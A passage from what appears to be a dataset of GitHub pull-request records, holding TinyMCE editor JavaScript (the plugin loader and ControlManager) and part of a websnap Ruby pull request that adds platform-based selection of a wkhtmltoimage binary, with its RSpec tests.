*\n\t\t * @method load\n\t\t * @param {String} n Short name of the add-on that gets loaded.\n\t\t * @param {String} u URL to the add-on that will get loaded.\n\t\t * @param {function} cb Optional callback to execute ones the add-on is loaded.\n\t\t * @param {Object} s Optional scope to execute the callback in.\n\t\t * @example\n\t\t * // Loads a plugin from an external URL\n\t\t * tinymce.PluginManager.load('myplugin', '/some/dir/someplugin/editor_plugin.js');\n\t\t *\n\t\t * // Initialize TinyMCE\n\t\t * tinyMCE.init({\n\t\t *    ...\n\t\t *    plugins : '-myplugin' // Don't try to load it again\n\t\t * });\n\t\t */\n\t\tload : function(n, u, cb, s) {\n\t\t\tvar t = this, url = u;\n\n\t\t\tfunction loadDependencies() {\n\t\t\t\tvar dependencies = t.dependencies(n);\n\t\t\t\ttinymce.each(dependencies, function(dep) {\n\t\t\t\t\tvar newUrl = t.createUrl(u, dep);\n\t\t\t\t\tt.load(newUrl.resource, newUrl, undefined, undefined);\n\t\t\t\t});\n\t\t\t\tif (cb) {\n\t\t\t\t\tif (s) {\n\t\t\t\t\t\tcb.call(s);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tcb.call(tinymce.ScriptLoader);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (t.urls[n])\n\t\t\t\treturn;\n\t\t\tif (typeof u === \"object\")\n\t\t\t\turl = u.prefix + u.resource + u.suffix;\n\n\t\t\tif (url.indexOf('/') != 0 && url.indexOf('://') == -1)\n\t\t\t\turl = tinymce.baseURL + '/' + url;\n\n\t\t\tt.urls[n] = url.substring(0, url.lastIndexOf('/'));\n\n\t\t\tif (t.lookup[n]) {\n\t\t\t\tloadDependencies();\n\t\t\t} else {\n\t\t\t\ttinymce.ScriptLoader.add(url, loadDependencies, s);\n\t\t\t}\n\t\t}\n\t});\n\n\t// Create plugin and theme managers\n\ttinymce.PluginManager = new tinymce.AddOnManager();\n\ttinymce.ThemeManager = new tinymce.AddOnManager();\n}(tinymce));\n\n/**\n * TinyMCE theme class.\n *\n * @class tinymce.Theme\n */\n\n/**\n * Initializes the theme.\n *\n * @method init\n * @param {tinymce.Editor} editor Editor instance that created the theme instance.\n * @param {String} url Absolute URL where the theme is located. \n */\n\n/**\n * Meta info method, this method gets executed when TinyMCE wants to present information about the theme for example in the about/help dialog.\n *\n * @method getInfo\n * @return {Object} Returns an object with meta information about the theme the current items are longname, author, authorurl, infourl and version.\n */\n\n/**\n * This method is responsible for rendering/generating the overall user interface with toolbars, buttons, iframe containers etc.\n *\n * @method renderUI\n * @param {Object} obj Object parameter containing the targetNode DOM node that will be replaced visually with an editor instance. \n * @return {Object} an object with items like iframeContainer, editorContainer, sizeContainer, deltaWidth, deltaHeight. \n */\n\n/**\n * Plugin base class, this is a pseudo class that describes how a plugin is to be created for TinyMCE. The methods below are all optional.\n *\n * @class tinymce.Plugin\n * @example\n * // Create a new plugin class\n * tinymce.create('tinymce.plugins.ExamplePlugin', {\n *     init : function(ed, url) {\n *         // Register an example button\n *         ed.addButton('example', {\n *             title : 'example.desc',\n *             onclick : function() {\n *                  // Display an alert when the user clicks the button\n *                  ed.windowManager.alert('Hello world!');\n *             },\n *             'class' : 'bold' // Use the bold icon from the theme\n *         });\n *     }\n * });\n * \n * // Register plugin with a short name\n * tinymce.PluginManager.add('example', tinymce.plugins.ExamplePlugin);\n * \n * // Initialize TinyMCE with the new plugin and button\n * tinyMCE.init({\n *    ...\n *    plugins : '-example', // - means TinyMCE will not try to load it\n *    theme_advanced_buttons1 : 'example' // Add the new example button to the toolbar\n * });\n */\n\n/**\n * Initialization function for the plugin. This will be called when the plugin is created. \n *\n * @method init\n * @param {tinymce.Editor} editor Editor instance that created the plugin instance. \n * @param {String} url Absolute URL where the plugin is located. \n * @example\n * // Creates a new plugin class\n * tinymce.create('tinymce.plugins.ExamplePlugin', {\n *     init : function(ed, url) {\n *         // Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('mceExample');\n *         ed.addCommand('mceExample', function() {\n *             ed.windowManager.open({\n *                 file : url + '/dialog.htm',\n *                 width : 320 + ed.getLang('example.delta_width', 0),\n *                 height : 120 + ed.getLang('example.delta_height', 0),\n *                 inline : 1\n *             }, {\n *                 plugin_url : url, // Plugin absolute URL\n *                 some_custom_arg : 'custom arg' // Custom argument\n *             });\n *         });\n * \n *         // Register example button\n *         ed.addButton('example', {\n *             title : 'example.desc',\n *             cmd : 'mceExample',\n *             image : url + '/img/example.gif'\n *         });\n * \n *         // Add a node change handler, selects the button in the UI when a image is selected\n *         ed.onNodeChange.add(function(ed, cm, n) {\n *             cm.setActive('example', n.nodeName == 'IMG');\n *         });\n *     }\n * });\n * \n * // Register plugin\n * tinymce.PluginManager.add('example', tinymce.plugins.ExamplePlugin);\n */\n\n/**\n * Meta info method, this method gets executed when TinyMCE wants to present information about the plugin for example in the about/help dialog.\n *\n * @method getInfo\n * @return {Object} Returns an object with meta information about the plugin the current items are longname, author, authorurl, infourl and version.\n * @example \n * // Creates a new plugin class\n * tinymce.create('tinymce.plugins.ExamplePlugin', {\n *     // Meta info method\n *     getInfo : function() {\n *         return {\n *             longname : 'Example plugin',\n *             author : 'Some author',\n *             authorurl : 'http://tinymce.moxiecode.com',\n *             infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/example',\n *             version : \"1.0\"\n *         };\n *     }\n * });\n * \n * // Register plugin\n * tinymce.PluginManager.add('example', tinymce.plugins.ExamplePlugin);\n * \n * // Initialize TinyMCE with the new plugin\n * tinyMCE.init({\n *    ...\n *    plugins : '-example' // - means TinyMCE will not try to load it\n * });\n */\n\n/**\n * Gets called when a new control instance is created.\n *\n * @method createControl\n * @param {String} name Control name to create for example \"mylistbox\" \n * @param {tinymce.ControlManager} controlman Control manager/factory to use to create the control. \n * @return {tinymce.ui.Control} Returns a new control instance or null.\n * @example \n * // Creates a new plugin class\n * tinymce.create('tinymce.plugins.ExamplePlugin', {\n *     createControl: function(n, cm) {\n *         switch (n) {\n *             case 'mylistbox':\n *                 var mlb = cm.createListBox('mylistbox', {\n *                      title : 'My list box',\n *                      onselect : function(v) {\n *                          tinyMCE.activeEditor.windowManager.alert('Value selected:' + v);\n *                      }\n *                 });\n * \n *                 // Add some values to the list box\n *                 mlb.add('Some item 1', 'val1');\n *                 mlb.add('some item 2', 'val2');\n *                 mlb.add('some item 3', 'val3');\n * \n *                 // Return the new listbox instance\n *                 return mlb;\n *         }\n * \n *         return null;\n *     }\n * });\n * \n * // Register plugin\n * tinymce.PluginManager.add('example', tinymce.plugins.ExamplePlugin);\n * \n * // Initialize TinyMCE with the new plugin and button\n * tinyMCE.init({\n *    ...\n *    plugins : '-example', // - means TinyMCE will not try to load it\n *    theme_advanced_buttons1 : 'mylistbox' // Add the new mylistbox control to the toolbar\n * });\n */\n", "dev/lib/__tinymce/classes/ControlManager.js": "/**\r\n * ControlManager.js\r\n *\r\n * Copyright 2009, Moxiecode Systems AB\r\n * Released under LGPL License.\r\n *\r\n * License: http://tinymce.moxiecode.com/license\r\n * Contributing: http://tinymce.moxiecode.com/contributing\r\n */\r\n\r\n(function(tinymce) {\r\n\t// Shorten names\r\n\tvar DOM = tinymce.DOM, Event = tinymce.dom.Event, each = tinymce.each, extend = tinymce.extend;\r\n\r\n\t/**\r\n\t * This class is responsible for managing UI control instances. It's both a factory and a collection for the controls.\r\n\t * @class tinymce.ControlManager\r\n\t */\r\n\ttinymce.create('tinymce.ControlManager', {\r\n\t\t/**\r\n\t\t * Constructs a new control manager instance.\r\n\t\t * Consult the Wiki for more details on this class.\r\n\t\t *\r\n\t\t * @constructor\r\n\t\t * @method ControlManager\r\n\t\t * @param {tinymce.Editor} ed TinyMCE editor instance to add the control to.\r\n\t\t * @param {Object} s Optional settings object for the control manager.\r\n\t\t */\r\n\t\tControlManager : function(ed, s) {\r\n\t\t\tvar t = this, i;\r\n\r\n\t\t\ts = s || {};\r\n\t\t\tt.editor = ed;\r\n\t\t\tt.controls = {};\r\n\t\t\tt.onAdd = new tinymce.util.Dispatcher(t);\r\n\t\t\tt.onPostRender = new tinymce.util.Dispatcher(t);\r\n\t\t\tt.prefix = s.prefix || ed.id + '_';\r\n\t\t\tt._cls = {};\r\n\r\n\t\t\tt.onPostRender.add(function() {\r\n\t\t\t\teach(t.controls, function(c) {\r\n\t\t\t\t\tc.postRender();\r\n\t\t\t\t});\r\n\t\t\t});\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Returns a control by id or undefined it it wasn't found.\r\n\t\t *\r\n\t\t * @method get\r\n\t\t * @param {String} id Control instance name.\r\n\t\t * @return {tinymce.ui.Control} Control instance or undefined.\r\n\t\t */\r\n\t\tget : function(id) {\r\n\t\t\treturn this.controls[this.prefix + id] || this.controls[id];\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Sets the active state of a control by id.\r\n\t\t *\r\n\t\t * @method setActive\r\n\t\t * @param {String} id Control id to set state on.\r\n\t\t * @param {Boolean} s Active state true/false.\r\n\t\t * @return {tinymce.ui.Control} Control instance that got activated or null if it wasn't found.\r\n\t\t */\r\n\t\tsetActive : function(id, s) {\r\n\t\t\tvar c = null;\r\n\r\n\t\t\tif (c = this.get(id))\r\n\t\t\t\tc.setActive(s);\r\n\r\n\t\t\treturn c;\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Sets the dsiabled state of a control by id.\r\n\t\t *\r\n\t\t * @method setDisabled\r\n\t\t * @param {String} id Control id to set state on.\r\n\t\t * @param {Boolean} s Active state true/false.\r\n\t\t * @return {tinymce.ui.Control} Control instance that got disabled or null if it wasn't found.\r\n\t\t */\r\n\t\tsetDisabled : function(id, s) {\r\n\t\t\tvar c = null;\r\n\r\n\t\t\tif (c = this.get(id))\r\n\t\t\t\tc.setDisabled(s);\r\n\r\n\t\t\treturn c;\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Adds a control to the control collection inside the manager.\r\n\t\t *\r\n\t\t * @method add\r\n\t\t * @param {tinymce.ui.Control} Control instance to add to collection.\r\n\t\t * @return {tinymce.ui.Control} Control instance that got passed in.\r\n\t\t */\r\n\t\tadd : function(c) {\r\n\t\t\tvar t = this;\r\n\r\n\t\t\tif (c) {\r\n\t\t\t\tt.controls[c.id] = c;\r\n\t\t\t\tt.onAdd.dispatch(c, t);\r\n\t\t\t}\r\n\r\n\t\t\treturn c;\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Creates a control by name, when a control is created it will automatically add it to the control collection.\r\n\t\t * It first ask all plugins for the specified control if the plugins didn't return a control then the default behavior\r\n\t\t * will be used.\r\n\t\t *\r\n\t\t * @method createControl\r\n\t\t * @param {String} n Control name to create for example \"separator\".\r\n\t\t * @return {tinymce.ui.Control} Control instance that got created and added.\r\n\t\t */\r\n\t\tcreateControl : function(n) {\r\n\t\t\tvar c, t = this, ed = t.editor;\r\n\r\n\t\t\teach(ed.plugins, function(p) {\r\n\t\t\t\tif (p.createControl) {\r\n\t\t\t\t\tc = p.createControl(n, t);\r\n\r\n\t\t\t\t\tif (c)\r\n\t\t\t\t\t\treturn false;\r\n\t\t\t\t}\r\n\t\t\t});\r\n\r\n\t\t\tswitch (n) {\r\n\t\t\t\tcase \"|\":\r\n\t\t\t\tcase \"separator\":\r\n\t\t\t\t\treturn t.createSeparator();\r\n\t\t\t}\r\n\r\n\t\t\tif (!c && ed.buttons && (c = ed.buttons[n]))\r\n\t\t\t\treturn t.createButton(n, c);\r\n\r\n\t\t\treturn t.add(c);\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Creates a drop menu control instance by id.\r\n\t\t *\r\n\t\t * @method createDropMenu\r\n\t\t * @param {String} id Unique id for the new dropdown instance. For example \"some menu\".\r\n\t\t * @param {Object} s Optional settings object for the control.\r\n\t\t * @param {Object} cc Optional control class to use instead of the default one.\r\n\t\t * @return {tinymce.ui.Control} Control instance that got created and added.\r\n\t\t */\r\n\t\tcreateDropMenu : function(id, s, cc) {\r\n\t\t\tvar t = this, ed = t.editor, c, bm, v, cls;\r\n\r\n\t\t\ts = extend({\r\n\t\t\t\t'class' : 'mceDropDown',\r\n\t\t\t\tconstrain : ed.settings.constrain_menus\r\n\t\t\t}, s);\r\n\r\n\t\t\ts['class'] = s['class'] + ' ' + ed.getParam('skin') + 'Skin';\r\n\t\t\tif (v = ed.getParam('skin_variant'))\r\n\t\t\t\ts['class'] += ' ' + ed.getParam('skin') + 'Skin' + v.substring(0, 1).toUpperCase() + v.substring(1);\r\n\r\n\t\t\tid = t.prefix + id;\r\n\t\t\tcls = cc || t._cls.dropmenu || tinymce.ui.DropMenu;\r\n\t\t\tc = t.controls[id] = new cls(id, s);\r\n\t\t\tc.onAddItem.add(function(c, o) {\r\n\t\t\t\tvar s = o.settings;\r\n\r\n\t\t\t\ts.title = ed.getLang(s.title, s.title);\r\n\r\n\t\t\t\tif (!s.onclick) {\r\n\t\t\t\t\ts.onclick = function(v) {\r\n\t\t\t\t\t\tif (s.cmd)\r\n\t\t\t\t\t\t\ted.execCommand(s.cmd, s.ui || false, s.value);\r\n\t\t\t\t\t};\r\n\t\t\t\t}\r\n\t\t\t});\r\n\r\n\t\t\ted.onRemove.add(function() {\r\n\t\t\t\tc.destroy();\r\n\t\t\t});\r\n\r\n\t\t\t// Fix for bug #1897785, #1898007\r\n\t\t\tif (tinymce.isIE) {\r\n\t\t\t\tc.onShowMenu.add(function() {\r\n\t\t\t\t\t// IE 8 needs focus in order to store away a range with the current collapsed caret location\r\n\t\t\t\t\ted.focus();\r\n\r\n\t\t\t\t\tbm = ed.selection.getBookmark(1);\r\n\t\t\t\t});\r\n\r\n\t\t\t\tc.onHideMenu.add(function() {\r\n\t\t\t\t\tif (bm) {\r\n\t\t\t\t\t\ted.selection.moveToBookmark(bm);\r\n\t\t\t\t\t\tbm = 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t});\r\n\t\t\t}\r\n\r\n\t\t\treturn t.add(c);\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Creates a list box control instance by id. A list box is either a native select element or a DOM/JS based list box control. This\r\n\t\t * depends on the use_native_selects settings state.\r\n\t\t *\r\n\t\t * @method createListBox\r\n\t\t * @param {String} id Unique id for the new listbox instance. For example \"styles\".\r\n\t\t * @param {Object} s Optional settings object for the control.\r\n\t\t * @param {Object} cc Optional control class to use instead of the default one.\r\n\t\t * @return {tinymce.ui.Control} Control instance that got created and added.\r\n\t\t */\r\n\t\tcreateListBox : function(id, s, cc) {\r\n\t\t\tvar t = this, ed = t.editor, cmd, c, cls;\r\n\r\n\t\t\tif (t.get(id))\r\n\t\t\t\treturn null;\r\n\r\n\t\t\ts.title = ed.translate(s.title);\r\n\t\t\ts.scope = s.scope || ed;\r\n\r\n\t\t\tif (!s.onselect) {\r\n\t\t\t\ts.onselect = function(v) {\r\n\t\t\t\t\ted.execCommand(s.cmd, s.ui || false, v || s.value);\r\n\t\t\t\t};\r\n\t\t\t}\r\n\r\n\t\t\ts = extend({\r\n\t\t\t\ttitle : s.title,\r\n\t\t\t\t'class' : 'mce_' + id,\r\n\t\t\t\tscope : s.scope,\r\n\t\t\t\tcontrol_manager : t\r\n\t\t\t}, s);\r\n\r\n\t\t\tid = t.prefix + id;\r\n\r\n\r\n\t\t\tfunction useNativeListForAccessibility(ed) {\r\n\t\t\t\treturn ed.settings.use_accessible_selects && !tinymce.isGecko\r\n\t\t\t}\r\n\r\n\t\t\tif (ed.settings.use_native_selects || useNativeListForAccessibility(ed))\r\n\t\t\t\tc = new tinymce.ui.NativeListBox(id, s);\r\n\t\t\telse {\r\n\t\t\t\tcls = cc || t._cls.listbox || tinymce.ui.ListBox;\r\n\t\t\t\tc = new cls(id, s, ed);\r\n\t\t\t}\r\n\r\n\t\t\tt.controls[id] = c;\r\n\r\n\t\t\t// Fix focus problem in Safari\r\n\t\t\tif (tinymce.isWebKit) {\r\n\t\t\t\tc.onPostRender.add(function(c, n) {\r\n\t\t\t\t\t// Store bookmark on mousedown\r\n\t\t\t\t\tEvent.add(n, 'mousedown', function() {\r\n\t\t\t\t\t\ted.bookmark = ed.selection.getBookmark(1);\r\n\t\t\t\t\t});\r\n\r\n\t\t\t\t\t// Restore on focus, since it might be lost\r\n\t\t\t\t\tEvent.add(n, 'focus', function() {\r\n\t\t\t\t\t\ted.selection.moveToBookmark(ed.bookmark);\r\n\t\t\t\t\t\ted.bookmark = null;\r\n\t\t\t\t\t});\r\n\t\t\t\t});\r\n\t\t\t}\r\n\r\n\t\t\tif (c.hideMenu)\r\n\t\t\t\ted.onMouseDown.add(c.hideMenu, c);\r\n\r\n\t\t\treturn t.add(c);\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Creates a button control instance by id.\r\n\t\t *\r\n\t\t * @method createButton\r\n\t\t * @param {String} id Unique id for the new button instance. For example \"bold\".\r\n\t\t * @param {Object} s Optional settings object for the control.\r\n\t\t * @param {Object} cc Optional control class to use instead of the default one.\r\n\t\t * @return {tinymce.ui.Control} Control instance that got created and added.\r\n\t\t */\r\n\t\tcreateButton : function(id, s, cc) {\r\n\t\t\tvar t = this, ed = t.editor, o, c, cls;\r\n\r\n\t\t\tif (t.get(id))\r\n\t\t\t\treturn null;\r\n\r\n\t\t\ts.title = ed.translate(s.title);\r\n\t\t\ts.label = ed.translate(s.label);\r\n\t\t\ts.scope = s.scope || ed;\r\n\r\n\t\t\tif (!s.onclick && !s.menu_button) {\r\n\t\t\t\ts.onclick = function() {\r\n\t\t\t\t\ted.execCommand(s.cmd, s.ui || false, s.value);\r\n\t\t\t\t};\r\n\t\t\t}\r\n\r\n\t\t\ts = extend({\r\n\t\t\t\ttitle : s.title,\r\n\t\t\t\t'class' : 'mce_' + id,\r\n\t\t\t\tunavailable_prefix : ed.getLang('unavailable', ''),\r\n\t\t\t\tscope : s.scope,\r\n\t\t\t\tcontrol_manager : t\r\n\t\t\t}, s);\r\n\r\n\t\t\tid = t.prefix + id;\r\n\r\n\t\t\tif (s.menu_button) {\r\n\t\t\t\tcls = cc || t._cls.menubutton || tinymce.ui.MenuButton;\r\n\t\t\t\tc = new cls(id, s, ed);\r\n\t\t\t\ted.onMouseDown.add(c.hideMenu, c);\r\n\t\t\t} else {\r\n\t\t\t\tcls = t._cls.button || tinymce.ui.Button;\r\n\t\t\t\tc = new cls(id, s, ed);\r\n\t\t\t}\r\n\r\n\t\t\treturn t.add(c);\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Creates a menu button control instance by id.\r\n\t\t *\r\n\t\t * @method createMenuButton\r\n\t\t * @param {String} id Unique id for the new menu button instance. For example \"menu1\".\r\n\t\t * @param {Object} s Optional settings object for the control.\r\n\t\t * @param {Object} cc Optional control class to use instead of the default one.\r\n\t\t * @return {tinymce.ui.Control} Control instance that got created and added.\r\n\t\t */\r\n\t\tcreateMenuButton : function(id, s, cc) {\r\n\t\t\ts = s || {};\r\n\t\t\ts.menu_button = 1;\r\n\r\n\t\t\treturn this.createButton(id, s, cc);\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Creates a split button control instance by id.\r\n\t\t *\r\n\t\t * @method createSplitButton\r\n\t\t * @param {String} id Unique id for the new split button instance. For example \"spellchecker\".\r\n\t\t * @param {Object} s Optional settings object for the control.\r\n\t\t * @param {Object} cc Optional control class to use instead of the default one.\r\n\t\t * @return {tinymce.ui.Control} Control instance that got created and added.\r\n\t\t */\r\n\t\tcreateSplitButton : function(id, s, cc) {\r\n\t\t\tvar t = this, ed = t.editor, cmd, c, cls;\r\n\r\n\t\t\tif (t.get(id))\r\n\t\t\t\treturn null;\r\n\r\n\t\t\ts.title = ed.translate(s.title);\r\n\t\t\ts.scope = s.scope || ed;\r\n\r\n\t\t\tif (!s.onclick) {\r\n\t\t\t\ts.onclick = function(v) {\r\n\t\t\t\t\ted.execCommand(s.cmd, s.ui || false, v || s.value);\r\n\t\t\t\t};\r\n\t\t\t}\r\n\r\n\t\t\tif (!s.onselect) {\r\n\t\t\t\ts.onselect = function(v) {\r\n\t\t\t\t\ted.execCommand(s.cmd, s.ui || false, v || s.value);\r\n\t\t\t\t};\r\n\t\t\t}\r\n\r\n\t\t\ts = extend({\r\n\t\t\t\ttitle : s.title,\r\n\t\t\t\t'class' : 'mce_' + id,\r\n\t\t\t\tscope : s.scope,\r\n\t\t\t\tcontrol_manager : t\r\n\t\t\t}, s);\r\n\r\n\t\t\tid = t.prefix + id;\r\n\t\t\tcls = cc || t._cls.splitbutton || tinymce.ui.SplitButton;\r\n\t\t\tc = t.add(new cls(id, s, ed));\r\n\t\t\ted.onMouseDown.add(c.hideMenu, c);\r\n\r\n\t\t\treturn c;\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Creates a color split button control instance by id.\r\n\t\t *\r\n\t\t * @method createColorSplitButton\r\n\t\t * @param {String} id Unique id for the new color split button instance. For example \"forecolor\".\r\n\t\t * @param {Object} s Optional settings object for the control.\r\n\t\t * @param {Object} cc Optional control class to use instead of the default one.\r\n\t\t * @return {tinymce.ui.Control} Control instance that got created and added.\r\n\t\t */\r\n\t\tcreateColorSplitButton : function(id, s, cc) {\r\n\t\t\tvar t = this, ed = t.editor, cmd, c, cls, bm;\r\n\r\n\t\t\tif (t.get(id))\r\n\t\t\t\treturn null;\r\n\r\n\t\t\ts.title = ed.translate(s.title);\r\n\t\t\ts.scope = s.scope || ed;\r\n\r\n\t\t\tif (!s.onclick) {\r\n\t\t\t\ts.onclick = function(v) {\r\n\t\t\t\t\tif (tinymce.isIE)\r\n\t\t\t\t\t\tbm = ed.selection.getBookmark(1);\r\n\r\n\t\t\t\t\ted.execCommand(s.cmd, s.ui || false, v || s.value);\r\n\t\t\t\t};\r\n\t\t\t}\r\n\r\n\t\t\tif (!s.onselect) {\r\n\t\t\t\ts.onselect = function(v) {\r\n\t\t\t\t\ted.execCommand(s.cmd, s.ui || false, v || s.value);\r\n\t\t\t\t};\r\n\t\t\t}\r\n\r\n\t\t\ts = extend({\r\n\t\t\t\ttitle : s.title,\r\n\t\t\t\t'class' : 'mce_' + id,\r\n\t\t\t\t'menu_class' : ed.getParam('skin') + 'Skin',\r\n\t\t\t\tscope : s.scope,\r\n\t\t\t\tmore_colors_title : ed.getLang('more_colors')\r\n\t\t\t}, s);\r\n\r\n\t\t\tid = t.prefix + id;\r\n\t\t\tcls = cc || t._cls.colorsplitbutton || tinymce.ui.ColorSplitButton;\r\n\t\t\tc = new cls(id, s, ed);\r\n\t\t\ted.onMouseDown.add(c.hideMenu, c);\r\n\r\n\t\t\t// Remove the menu element when the editor is removed\r\n\t\t\ted.onRemove.add(function() {\r\n\t\t\t\tc.destroy();\r\n\t\t\t});\r\n\r\n\t\t\t// Fix for bug #1897785, #1898007\r\n\t\t\tif (tinymce.isIE) {\r\n\t\t\t\tc.onShowMenu.add(function() {\r\n\t\t\t\t\t// IE 8 needs focus in order to store away a range with the current collapsed caret location\r\n\t\t\t\t\ted.focus();\r\n\t\t\t\t\tbm = ed.selection.getBookmark(1);\r\n\t\t\t\t});\r\n\r\n\t\t\t\tc.onHideMenu.add(function() {\r\n\t\t\t\t\tif (bm) {\r\n\t\t\t\t\t\ted.selection.moveToBookmark(bm);\r\n\t\t\t\t\t\tbm = 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t});\r\n\t\t\t}\r\n\r\n\t\t\treturn t.add(c);\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Creates a toolbar container control instance by id.\r\n\t\t *\r\n\t\t * @method createToolbar\r\n\t\t * @param {String} id Unique id for the new toolbar container control instance. For example \"toolbar1\".\r\n\t\t * @param {Object} s Optional settings object for the control.\r\n\t\t * @param {Object} cc Optional control class to use instead of the default one.\r\n\t\t * @return {tinymce.ui.Control} Control instance that got created and added.\r\n\t\t */\r\n\t\tcreateToolbar : function(id, s, cc) {\r\n\t\t\tvar c, t = this, cls;\r\n\r\n\t\t\tid = t.prefix + id;\r\n\t\t\tcls = cc || t._cls.toolbar || tinymce.ui.Toolbar;\r\n\t\t\tc = new cls(id, s, t.editor);\r\n\r\n\t\t\tif (t.get(id))\r\n\t\t\t\treturn null;\r\n\r\n\t\t\treturn t.add(c);\r\n\t\t},\r\n\t\t\r\n\t\tcreateToolbarGroup : function(id, s, cc) {\r\n\t\t\tvar c, t = this, cls;\r\n\t\t\tid = t.prefix + id;\r\n\t\t\tcls = cc || this._cls.toolbarGroup || tinymce.ui.ToolbarGroup;\r\n\t\t\tc = new cls(id, s, t.editor);\r\n\t\t\t\r\n\t\t\tif (t.get(id))\r\n\t\t\t\treturn null;\r\n\t\t\t\r\n\t\t\treturn t.add(c);\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Creates a separator control instance.\r\n\t\t *\r\n\t\t * @method createSeparator\r\n\t\t * @param {Object} cc Optional control class to use instead of the default one.\r\n\t\t * @return {tinymce.ui.Control} Control instance that got created and added.\r\n\t\t */\r\n\t\tcreateSeparator : function(cc) {\r\n\t\t\tvar cls = cc || this._cls.separator || tinymce.ui.Separator;\r\n\r\n\t\t\treturn new cls();\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Overrides a specific control type with a custom class.\r\n\t\t *\r\n\t\t * @method setControlType\r\n\t\t * @param {string} n Name of the control to override for example button or dropmenu.\r\n\t\t * @param {function} c Class reference to use instead of the default one.\r\n\t\t * @return {function} Same as the class reference.\r\n\t\t */\r\n\t\tsetControlType : function(n, c) {\r\n\t\t\treturn this._cls[n.toLowerCase()] = c;\r\n\t\t},\r\n\t\r\n\t\t/**\r\n\t\t * Destroy.\r\n\t\t *\r\n\t\t * @method destroy\r\n\t\t */\r\n\t\tdestroy : function() {\r\n\t\t\teach(this.controls, function(c) {\r\n\t\t\t\tc.destroy();\r\n\t\t\t});\r\n\r\n\t\t\tthis.controls = null;\r\n\t\t}\r\n\t});\r\n})(tinymce);\r\n"}}
{"repo": "siuying/websnap", "pr_number": 6, "title": "Adding wkhtmltoimage-amd64 ", "state": "closed", "merged_at": "2012-12-11T16:50:18Z", "additions": 53, "deletions": 13, "files_changed": ["bin/wkhtml_image_executable.rb", "spec/websnap_spec.rb", "spec/wkhtml_image_executable_spec.rb"], "files_before": {"spec/websnap_spec.rb": "require 'spec_helper'\n\ndescribe WebSnap::Snapper do\n  \n  context \"initialization\" do\n    it \"should accept HTML as the source\" do\n      websnap = WebSnap::Snapper.new('<h1>Oh Hai</h1>')\n      websnap.source.should be_html\n      websnap.source.to_s.should == '<h1>Oh Hai</h1>'\n    end\n    \n    it \"should accept a URL as the source\" do\n      websnap = WebSnap::Snapper.new('http://google.com')\n      websnap.source.should be_url\n      websnap.source.to_s.should == 'http://google.com'\n    end\n    \n    it \"should accept a File as the source\" do\n      file_path = File.join(SPEC_ROOT,'fixtures','google.html')\n      websnap = WebSnap::Snapper.new(File.new(file_path))\n      websnap.source.should be_file\n      websnap.source.to_s.should == file_path\n    end\n    \n    it \"should parse the options into a cmd line friedly format\" do\n      websnap = WebSnap::Snapper.new('html', :'crop-w' => '800', :'crop-h' => '600')\n      websnap.options.should have_key('--crop-w')\n    end\n\n    it \"should provide default options\" do\n      websnap = WebSnap::Snapper.new('<h1>Oh Hai</h1>')\n      ['--crop-w', '--crop-h', '--crop-x', '--crop-y', '--format'].each do |option|\n        websnap.options.should have_key(option)\n      end\n    end\n  end\n  \n  context \"command\" do\n    it \"should contstruct the correct command\" do\n      websnap = WebSnap::Snapper.new('html', :'encoding' => 'Big5')\n      websnap.command.should include('--encoding Big5')\n    end\n\n    it \"read the source from stdin if it is html\" do\n      websnap = WebSnap::Snapper.new('html')\n      websnap.command.should match(/ - -$/)\n    end\n    \n    it \"specify the URL to the source if it is a url\" do\n      websnap = WebSnap::Snapper.new('http://google.com')\n      websnap.command.should match(/ http:\\/\\/google\\.com -$/)\n    end\n    \n    it \"should specify the path to the source if it is a file\" do\n      file_path = File.join(SPEC_ROOT,'fixtures','google.html')\n      websnap = WebSnap::Snapper.new(File.new(file_path))\n      websnap.command.should match(/ #{file_path} -$/)\n    end\n  end\n  \n  context \"#to_bytes\" do\n    it \"should generate a PDF of the HTML\" do\n      websnap = WebSnap::Snapper.new('html')\n      websnap.expects(:to_bytes).returns('PNG')\n      png = websnap.to_bytes\n      png.should match(/PNG/)\n    end\n  end\n  \n  context \"#to_file\" do\n    before do\n      @file_path = File.join(SPEC_ROOT,'fixtures','test.png')\n      File.delete(@file_path) if File.exist?(@file_path)\n    end\n    \n    after do\n      File.delete(@file_path)\n    end\n    \n    it \"should create a file with the PNG as content\" do\n      websnap = WebSnap::Snapper.new('html')\n      websnap.expects(:to_bytes).returns('PNG')\n\n      file = websnap.to_file(@file_path)\n      file.should be_instance_of(File)\n      File.read(file.path).should == 'PNG'\n    end\n  end\n  \nend\n"}, "files_after": {"bin/wkhtml_image_executable.rb": "class WkhtmlImageExecutable\n  attr_reader :system_platform\n\n  def initialize(args={})\n    @system_platform = args[:system_platform] || default_platform\n  end\n\n  def default_platform\n    RUBY_PLATFORM\n  end\n\n  def binary_wkhtmltoimage\n    case @system_platform\n    when /x86_64-linux/\n      'wkhtmltoimage-amd64'\n    when /linux/\n      'wkhtmltoimage-linux-i386-0.10.0'\n    when /darwin/\n      'wkhtmltoimage-osx-i386-0.10.0'\n    else\n      raise \"No bundled binaries found for your system. Please install wkhtmltopdf.\"\n    end\n  end\nend\n\n\n", "spec/websnap_spec.rb": "require 'spec_helper'\n\ndescribe WebSnap::Snapper do\n  \n  context \"initialization\" do\n    it \"should accept HTML as the source\" do\n      websnap = WebSnap::Snapper.new('<h1>Oh Hai</h1>')\n      websnap.source.should be_html\n      websnap.source.to_s.should == '<h1>Oh Hai</h1>'\n    end\n    \n    it \"should accept a URL as the source\" 